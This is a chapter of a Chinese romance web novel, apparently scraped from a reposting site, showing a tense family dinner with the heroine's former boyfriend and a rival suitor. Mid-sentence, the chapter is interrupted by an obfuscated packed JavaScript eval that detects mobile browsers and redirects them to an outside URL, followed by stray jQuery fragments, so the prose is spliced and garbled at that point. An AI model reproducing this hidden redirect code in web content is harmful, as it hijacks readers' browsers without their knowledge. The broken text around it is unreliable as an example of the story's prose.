32. 首发
作品:《偶遇前任时我在桥洞要饭》 盛父在厨房门口穿上短袖,整理好了着装,才踏出门外。
客厅里,只有祁佑白和程宇两个人,二人都在沙发上坐着,中间隔着很长一段距离,他们也不说话,就一本正经地各自坐着,当盛父出现在他们视野之内时,两个人同时站了起来。
“叔叔”
“叔叔”
二人不约而同道。
“哎”,盛父手一抖,被这俩人突然的动作吓了一跳:“你们快坐呀,坐下坐下,站着干嘛。”
他手里端了一杯水。
祁佑白上前几步,双手接过来:“谢谢叔叔。”
盛父乐呵呵的:“不用谢不用谢,小祁呀,好多年不见了还是一表人材,现在在哪儿工作呢?”
祁佑白等盛父落座后,才重新坐在沙发上:“在君礼国际,目前跟夏夏是同事。”
“噢~”盛父恍然大悟:“这样啊,原来是因为工作,重新碰见了我们夏夏。”
祁佑白抿抿唇,眼中看不出情绪:“是啊。”
跟小祁搭完话,该小程了。
“小程啊,你爷爷身体还好吧?”
程宇苦涩一笑:“老人家了嘛,年前又做了个小手术,情况不太乐观。不过这段时间心情很好,能吃能喝。”
盛父叹了一口气:“人老了都有这一遭,放宽心,尽量让他过的开心就好,最后不要留有遗憾。”
程宇点点头:“我也是这么想的,所以……这不是又来麻烦夏夏了么。”
“不麻烦,这有什么麻烦的。”
“老人家自前年和夏夏相处了一段时间之后,就总是念叨她,想见见她,所以我只能厚着脸皮上门来拜托她了。”
听到这句话,祁佑白不动声色看了程宇一眼,眼神冷漠。
程宇从余光里察觉到了,却佯装没看见。
盛父和程宇明显更熟络,拿过茶几上摆着的酒瓶,随手给他倒了一杯。
“我们夏夏啊,是个热心肠的好姑娘,好多老人都喜欢她,要帮什么忙,你尽管跟她说,没事儿的。”
“哎,谢谢叔叔,夏夏确实是个好姑娘。”
程宇拿起酒杯一饮而尽。
“哎,盛军和夏夏呢,他们去哪儿了?”
盛父才反应过来,儿子闺女怎么把客人扔这儿,自己跑了。
“我去洗了个脸。”盛夏从卧室出来。她的口红清水洗不干净,用了卸妆油,完了又洗了个脸,费了点时间。
盛军去换了身衣服,出来以后径直朝祁佑白走去,坐在了他的旁边。
盛父本来接着要给小祁倒酒的,这一打岔,他也忘了,自顾自地跟程宇喝了起来。
“菜好了,快来端菜吧!”盛母在厨房内喊道。
盛父让客人坐着,盛军和盛夏跑了两趟,将菜上齐全,然后所有人开始落座。
盛军贴着祁佑白坐,跟程宇隔了好大段距离,盛母指挥他:“你往那边坐坐,空出来的地方都能躺着睡觉了。”
盛夏知道盛军不喜欢程宇,肯定不会坐过去的。因此,她本来坐在祁佑白另一旁的板凳上,现在主动提议:“我坐那儿吧。”
祁佑白没看她,但是盛夏不知道为什么,就是能感觉到很不对劲,周围气压低的要命。
他们家地方不大,没专门吃饭的地方,平时吃饭就在客厅中央,电视机对面的这张大茶几上。挨着沙发,位置不够了再加板凳。
盛夏不过去的话,总觉得怪怪的,像在孤立程宇一样,而且说实在的,沙发更舒服。
顶着压力,她坐过去了。
盛母朝盛父意有所指地抬了抬下巴,盛父若有所思地点了点头。二人就这样达成了一个不靠谱的共识:原来自己闺女更中意程宇啊!
所以接下来的用餐时间,他俩明显对程宇的家庭情况更感兴趣。
祁佑白根本没胃口,但还是配合的吃完了一碗米饭,他记得上大学的时候,盛夏跟他说起过,他们家从小不让孩子剩饭剩菜的。
“小祁啊,你也来喝几杯,不过印象里你好像不太能喝酒的,现在可以吗?酒量怎么样了?”
“他现在……”也不太能喝。
盛夏还未将话说完,祁佑白打断了她,道:我现在酒量还可以,叔叔。”
盛父给他倒了一杯:“来,今天我们三个大男人不醉不归!”
盛母丢脸死了,这死老头子,平时除了养花钓鱼就是喜欢喝点小酒,上头了什么屁话都能说出来。
“你少喝点吧,要喝自己喝,别把这俩孩子灌醉了,一会儿他们还要开车呢。”
“没事阿姨,我今晚住我姑姑家。”程宇姑姑家就在周围,连小黄都不用骑,走路就能到。
当初就是程宇的姑姑牵线搭桥,介绍他和盛夏认识的。
“我也没事阿姨,一会儿打个车就好。”
盛夏瞅了祁佑白一眼,拿出手机,给小汪助理发了条微信。然后她就把手机扔到一边,专心吃饭了。
祁佑白今晚大多时候都在沉默,盛军看不得他们这些人搞区别对待,思考几秒,憋出个坏招。
“来,小祁,尝尝我爸做的清蒸大虾,几乎什么调料都不放,味道特别鲜美。”
盛军站起来,用公筷,逮着大虾就往祁佑白的碗里放,根本不管当事人的意愿,没一会儿,他的碗里就有了一座“大虾山”。
其中有一个还是程宇正准备夹的,筷子伸在空中一半,将将落下时,目标大虾被盛军抢到了祁佑白的碗里。
程宇尴尬地将筷子缩回来。
盛夏全都放在眼里,一盘大虾被盛军祸害的所剩无几也就算了,还非得当着这么多人的面挤兑程宇,她不禁皱眉道:“他能吃的了那么多吗?你想把他撑死还是把其他人饿死啊?”
明明除了有维护程宇的意思之外,也有关心祁佑白的意思,可这话听在盛军和祁佑白的耳朵里,却非常刺耳。
祁佑白的眼神暗了暗,没说什么。
盛军轻蔑地哧了一声:“怎么?你不服啊?小祁就爱吃这个虾,他能吃得下!”
程宇碰了碰盛夏的胳膊,对她温柔笑笑:“没事儿的夏夏,正好我不喜欢吃虾,我吃其它菜就可以。”
“你听见了吧,小程说他不喜欢吃!”盛军自认为他也是很公平的,转而又帮小程夹菜,“来,小程,尝尝这盘清炒卷心菜,我记得你特别爱吃这个菜,这个菜可是我爸妈为了招待你,专门为你做的。”
“是吗?”程宇有点受宠若惊了:“谢谢叔叔阿姨。”
盛父喝醉了,他根本没搞明白现在的状况,随意摆了摆手,“没事,以后还喜欢什么菜尽管跟我说,我给你做。”
盛军趁他们说话的间隙,拿着公筷“咔咔咔”不要命地往程宇碗里夹菜。
盛母坐在对面,以为小程是真的喜欢,满脸期待:“小程啊,原来你喜欢吃这个菜?”
程宇看着碗里的“卷心菜菜堆”停顿了两秒,硬着头皮道:“对,阿姨,我确实喜欢吃菜,不油腻,还对身体好。”
“那你快尝尝,味道怎么样?”盛母看着他,眼睛亮亮的。
他们一家人还没人动过这盘菜呢。
程宇低头又看了一眼碗里快要溢出来的菜堆,做了下心理建设,埋头大口吃起来,哪知还没咽下,就被又咸又辣又酸的奇怪味道给呛住了。
那股味道直冲鼻腔,迫使他不得不狼狈地背过身去,用手捂着连连咳嗽。
仿佛把肺都要咳出来。
“没事儿吧?”盛夏给他递过去一张抽纸,拍拍他的背,然后把他的水杯递给他:“喝点水?”
“没事儿,没事儿。”程宇虽这样说着,可还是灌了大半杯水,才把这股奇怪味道给压下去。
盛军撞撞祁佑白的胳膊,眼里是得逞的笑意。
盛夏注意到了,瞪了他们俩人一眼,她就说吗,盛军怎么会那么好心。
她转头问一旁的盛母:“妈,这盘菜你炒的啊?”
“对啊,是我炒的,怎么了?不好吃啊?”
“没有没有。”程宇不咳嗽了,转回身来:“味道挺好的阿姨,是我吃的太快,呛嗓子眼儿里了。”
盛母笑得特别开心,看向盛夏:“放心吧,我都跟你爸学了好长时间了,你看,小程说味道还不错呢。”
盛夏表情复杂,不好说什么,扯着嘴角笑了一下。
“对啊妈,你这厨艺见长哎,用不了多久就能出师了!来,小程,你喜欢就多吃点,我看你今天吃的肉有些多,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651196|171437||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可能是腻得呛住了。”
程宇连连拒绝:“不用不用,我吃不完了。”
“胡说!你这么爱吃,再跟我客气我可要生气了啊!”
盛军的眉眼透露着蔫儿坏的得意,嘴角弯曲的弧度,收都收不住,他又跟刚才一样,夹起一大筷子就想往程宇碗里放,可没想到,半路杀出来个程咬金。
盛夏眼疾手快地用自己筷子一挡,推到他的碗里:“你自己都没尝呢,怎么就断定妈的厨艺见长了?来,你尝尝。”
盛军有点生气,使着劲儿又推过去,强硬往程宇碗里放:“我想吃什么时候都能吃得上,我哪能跟客人抢?盛夏,你说是吧?”
“这么一大盘子呢,程宇哥一个人哪能吃的完?你放心,少不了你的这一口,尝尝吧,哥哥。”
“我得先让客人吃啊,我的亲妹妹,你有没有规矩?客人吃完我再尝嘛。”
“他已经够吃了,碗里一大堆呢,别客气,盘子里的都是你的……”
“他的!”
“是你的!”
“就是他的!”
……
两个人推开推去,筷子本就夹得不紧,几个回合下来,桌子上甩得哪里都是,有一片菜叶甚至顺着力道,飞到了盛父的脑门儿上!
“别推了”,盛父闭了一下眼睛,咬牙把这片菜叶拿下来,然后抬手擦掉脑门儿上的汤汁。可是见这俩孩子还是推来推去、水火不容,瞬间火冒三丈,猛拍桌子,含泪吼了一声:
“你俩别推了!”
盛夏和盛军动作瞬间僵住,齐齐扭头观察盛父的脸色,心知他喝醉酒后会有点小脾气,于是心照不宣暂时停战。
此刻,饭桌上兴高采烈的气氛归于死寂。
盛父已经完全醉了,抚摸着自己拍红的手掌心,在所有人的注视下,突然就哽咽地唱了起来:“锄禾日当午啊,汗滴禾下土!谁知盘中餐啊,粒粒皆辛苦!”
他用自创的抑扬顿挫声调,唱出了奇怪滑稽的旋律。
“你们这两个倒霉孩子!啊?浪费粮食是可耻的,你们知道不知道!”
“我错了爸。”盛夏摸了摸鼻头,很快道歉。
盛父抹抹眼泪,点点头,换了个方向,用筷子一指,差点戳住盛军的喉咙。
盛军立马心有余悸地举起双手:“我也错了爸,我再也不敢浪费粮食了,我发誓!”
盛母站起身,夺下盛父手中的筷子:“哎呦,你干嘛呢?伤了孩子怎么办?”她忍不住打了他一拳头,正要再说他几句,盛父头一歪,靠在椅背上,打起呼噜来。
“……”
她无语地叹口气,丢下一句:“你们吃啊,老头子喝醉了,我把他扔房间里,小祁,你家住的远,你记得注意安全,不行让盛军送送你,他没喝酒。”
“不要紧阿姨,快把叔叔送回房间吧。”
祁佑白喝的也不少,脸都红了。
“那行,小程,你回去也注意安全啊,我就不送你了。”盛母又对程宇说道。
“哎,阿姨,您别担心我,我几分钟就回去了。”
程宇本身酒量就好,他完全跟个没事儿人一样。
盛夏怕盛母一个人把她爹弄不回去,于是帮忙搀扶着,把人送去了主卧。
客厅就只剩下三个人。
“大哥,那我就先走了,今晚谢谢你们的款待。”祁佑白摇摇晃晃起身,从沙发上拿起他吃饭途中脱掉的西装外套。
盛军看他脸红的厉害,有点担心:“我开车送你回去吧。”
“不用,我打了车,就在楼下。”
“那我把你送到楼下吧,我看你都走不稳了。”
祁佑白这次没拒绝。
“你等等啊,”盛军道:“我去拿个钥匙。”
祁佑白看着盛军跑进了房间,客厅里,只剩下他和程宇。
程宇仿佛已经来了很多次,像这个家的一员,开始收拾起了茶几上的东西,然后熟门熟路地进去厨房,拿了一个垃圾桶出来。
他察觉到祁佑白在观察他,于是停下手上的活儿,看了他一眼。
那一眼淡淡的,嘴上却挂着笑:“祁先生慢走,不送了。”
祁佑白的右手压了压胃部,什么也没说,走了。